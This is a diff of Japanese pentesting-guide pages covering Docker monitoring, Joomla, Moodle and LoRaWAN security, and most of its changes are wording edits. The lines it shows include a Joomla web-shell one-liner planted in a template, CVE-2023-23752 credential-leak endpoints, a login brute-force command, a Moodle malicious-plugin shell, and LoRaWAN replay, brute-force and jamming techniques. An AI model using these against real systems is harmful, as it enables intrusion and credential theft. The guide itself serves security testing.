@ -261,7 +261,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### 疑わしい活動のログ記録
- 実行中のコンテナでの**疑わしい行動**を検出するために、ツール[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)を使用できます。
- 実行中のコンテナ内の**疑わしい動作**を検出するために、ツール[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)を使用できます。
- 次のチャンクでは、**Falcoがカーネルモジュールをコンパイルして挿入する**方法に注意してください。その後、ルールを読み込み、**疑わしい活動のログを開始します**。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
@ -305,7 +305,7 @@ falco-probe found and loaded in dkms
```
#### Dockerの監視
auditdを使用してDockerを監視できます。
auditdを使用してdockerを監視できます。
### 参考文献

View File

@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### バージョン
@ -71,11 +71,11 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web MethodologyはCMSスキャナーに関するセクションです**](#cms-scanners)でJoomlaをスキャンできます。
In[ **80,443 - Pentesting Web MethodologyはCMSスキャナーに関するセクションです**](#cms-scanners)でJoomlaをスキャンできます。
### API 認証なしの情報漏洩:
バージョン4.0.0から4.2.7は、認証なしの情報漏洩CVE-2023-23752対して脆弱で、クレデンシャルやその他の情報をダンプします。
バージョン4.0.0から4.2.7は、認証なしの情報漏洩CVE-2023-23752に脆弱で、クレデンシャルやその他の情報をダンプします。
- ユーザー: `http://<host>/api/v1/users?public=true`
- 設定ファイル: `http://<host>/api/index.php/v1/config/application?public=true`
@ -84,7 +84,7 @@ In[ **80,443 - Pentesting Web MethodologyはCMSスキャナーに関するセク
### ブルートフォース
この[スクリプト](https://github.com/ajnik/joomla-bruteforce)を使用して、ログインのブルートフォースを試みることができます。
この[スクリプト](https://github.com/ajnik/joomla-bruteforce)を使用してログインをブルートフォースすることができます。
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -96,16 +96,16 @@ admin:admin
1. `Configuration`の下にある**`Templates`**を**クリック**して、テンプレートメニューを表示します。
2. **テンプレート**名を**クリック**します。`Template`列の下にある**`protostar`**を選択しましょう。これで**`Templates: Customise`**ページに移動します。
3. 最後に、ページをクリックして**ページソース**を表示できます。**`error.php`**ページを選びましょう。以下のように**コード実行を得るためのPHPワンライナー**を追加します:
3. 最後に、ページを**クリック**して**ページソース**を表示します。**`error.php`**ページを選びましょう。以下のように**コード実行を得るためのPHPワンライナー**を追加します:
1. **`system($_GET['cmd']);`**
4. **保存して閉じる**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## From XSS to RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomlaの脆弱性を**XSSからRCEまたは他の重大な脆弱性に昇格**させるスクリプト。詳細については[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。**Joomlaバージョン5.X.X、4.X.X、3.X.Xをサポートし、以下を可能にします**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomlaの脆弱性を**XSSからRCEまたは他の重大な脆弱性に昇格**させるスクリプト。詳細は[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。**Joomlaバージョン5.X.X、4.X.X、3.X.Xをサポートし、以下を可能にします**
- _**特権昇格:**_ Joomlaにユーザーを作成します。
- _**(RCE) 組み込みテンプレートの編集:**_ Joomlaの組み込みテンプレートを編集します。
- _**(カスタム) カスタムエクスプロイト:**_ サードパーティのJoomlaプラグイン用のカスタムエクスプロイト。
- _**(カスタム) カスタムエクスプロイト:**_ サードパーティのJoomlaプラグイン用のカスタムエクスプロイトです
{{#include ../../banners/hacktricks-training.md}}

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -78,7 +78,7 @@ cmsmap http://moodle.example.com/<moodle_path>
moodle-rce-plugin.zip
{{#endfile}}
または、[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)からプラグインを使用して、"cmd"パラメータを持つ通常のPHPシェルを取得することができます。
または、[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)からプラグインを使用して、"cmd"パラメータを持つ通常のPHPシェルを取得することができます。
悪意のあるプラグインを起動するには、次のアドレスにアクセスする必要があります:
```bash

View File

@ -5,9 +5,9 @@
## はじめに
**低電力広域ネットワーク** (LPWAN) は、**低ビットレート**での**長距離通信**を目的とした無線の低電力広域ネットワーク技術のグループです。
これらは**6マイル以上**の距離に到達でき、**バッテリー**は最大で**20年**持続します。
これらは**6マイル以上**の距離に到達でき、**バッテリー**は**20年**まで持続することができます。
ロングレンジ (**LoRa**) は現在最も展開されているLPWANの物理層であり、そのオープンなMAC層仕様は**LoRaWAN**です。
ロングレンジ (**LoRa**) は現在最も展開されているLPWANの物理層であり、そのオープンなMAC層仕様は**LoRaWAN**です。
---
@ -26,7 +26,7 @@
| レイヤー | 脆弱性 | 実際の影響 |
|-------|----------|------------------|
| PHY | 反応的/選択的ジャミング | 単一のSDRと<1 W出力で100%のパケットロスが実証されました |
| MAC | ジョイン・アクセプトおよびデータフレームのリプレイ (ンス再利用、ABPカウンターのロールオーバー) | デバイスの偽装、メッセージの注入、DoS |
| MAC | ジョイン・アクセプトおよびデータフレームのリプレイ (ノンス再利用、ABPカウンターのロールオーバー) | デバイスの偽装、メッセージの注入、DoS |
| ネットワークサーバー | 不secureなパケットフォワーダー、弱いMQTT/UDPフィルター、古いゲートウェイファームウェア | ゲートウェイでのRCE → OT/ITネットワークへのピボット |
| アプリケーション | ハードコーディングされたまたは予測可能なAppKeys | トラフィックのブルートフォース/復号、センサーの偽装 |
@ -34,8 +34,8 @@
## 最近の脆弱性 (2023-2025)
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* がKerlinkゲートウェイ上のステートフルファイアウォールルールをバイパスするTCPパケットを受け入れ、リモート管理インターフェースの露出を許可しました。4.0.11 / 4.2.1で修正されました。
* **Dragino LG01/LG308シリーズ** 2022-2024年の複数のCVE例: 2022-45227 ディレクトリトラバーサル、2022-45228 CSRFが2025年でも未修正のまま観察され、数千の公共ゲートウェイで認証なしのファームウェアダンプまたは設定上書きを可能にします。
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder*Kerlinkゲートウェイ上のステートフルファイアウォールルールをバイパスするTCPパケットを受け入れ、リモート管理インターフェースの露出を許可しました。4.0.11 / 4.2.1で修正されました。
* **Dragino LG01/LG308シリーズ** 2022-2024年の複数のCVE例: 2022-45227 ディレクトリトラバーサル、2022-45228 CSRFが2025年でも未修正のまま観察されており、数千の公共ゲートウェイで認証なしのファームウェアダンプまたは設定上書きを可能にします。
* Semtech *パケットフォワーダーUDP* オーバーフロー未発表のアドバイザリー、2023-10にパッチ適用255 Bを超えるアップリンクを作成するとスタックスマッシュが引き起こされ、SX130xリファレンスゲートウェイでのRCEが発生しましたBlack Hat EU 2023 “LoRa Exploitation Reloaded”で発見
---
@ -57,9 +57,9 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
2. 元のデバイスが再度送信する前に、すぐに再送信しますまたはRSSIを増加させます
3. ネットワークサーバーは新しいDevAddrとセッションキーを割り当てますが、ターゲットデバイスは古いセッションを続行します → 攻撃者は空いているセッションを所有し、偽のアップリンクを注入できます。
### 3. アダプティブデータレートADRダウングレード
### 3. 適応データレートADRダウングレード
SF12/125 kHzを強制してエアタイムを増加させます → ゲートウェイのデューティサイクルを枯渇させます(サービス拒否)が、攻撃者へのバッテリーへの影響は低く保ちますネットワークレベルのMACコマンドを送信するだけです)。
SF12/125 kHzを強制してエアタイムを増加させます → ゲートウェイのデューティサイクルを枯渇させます(サービス拒否)し、攻撃者へのバッテリーへの影響を低く保ちますネットワークレベルのMACコマンドを送信するだけ
### 4. 反応的ジャミング
@ -72,13 +72,13 @@ SF12/125 kHzを強制してエアタイムを増加させます → ゲートウ
| ツール | 目的 | ノート |
|------|---------|-------|
| **LoRaWAN監査フレームワークLAF** | LoRaWANフレームの作成/解析/攻撃、DBバックのアナライザー、ブルートフォース | Dockerイメージ、Semtech UDP入力をサポート |
| **LoRaPWN** | OTAAをブルートフォースし、ダウンリンクを生成し、ペイロードを復号するためのTrend Micro Pythonユーティリティ | 2023年にデモリリース、SDR非依存 |
| **LoRaPWN** | OTAAをブルートフォースし、ダウンリンクを生成し、ペイロードを復号化するTrend MicroのPythonユーティリティ | 2023年にデモリリース、SDR非依存 |
| **LoRAttack** | USRPによるマルチチャネルスニファー + リプレイPCAP/LoRaTapをエクスポート | 良好なWireshark統合 |
| **gr-lora / gr-lorawan** | ベースバンドTX/RX用のGNU Radio OOTブロック | カスタム攻撃の基盤 |
---
## 防御推奨事項(ペンテスターチェックリスト)
## 防御推奨事項(ペンテスターチェックリスト)
1. 真のランダムDevNonceを持つ**OTAA**デバイスを優先し、重複を監視します。
2. **LoRaWAN 1.1**を強制します32ビットフレームカウンター、異なるFNwkSIntKey / SNwkSIntKey。
@ -90,6 +90,6 @@ SF12/125 kHzを強制してエアタイムを増加させます → ゲートウ
## 参考文献
* LoRaWAN監査フレームワークLAF https://github.com/IOActive/laf
* Trend Micro LoRaPWNの概要 https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN監査フレームワークLAF [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Trend Micro LoRaPWNの概要 [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}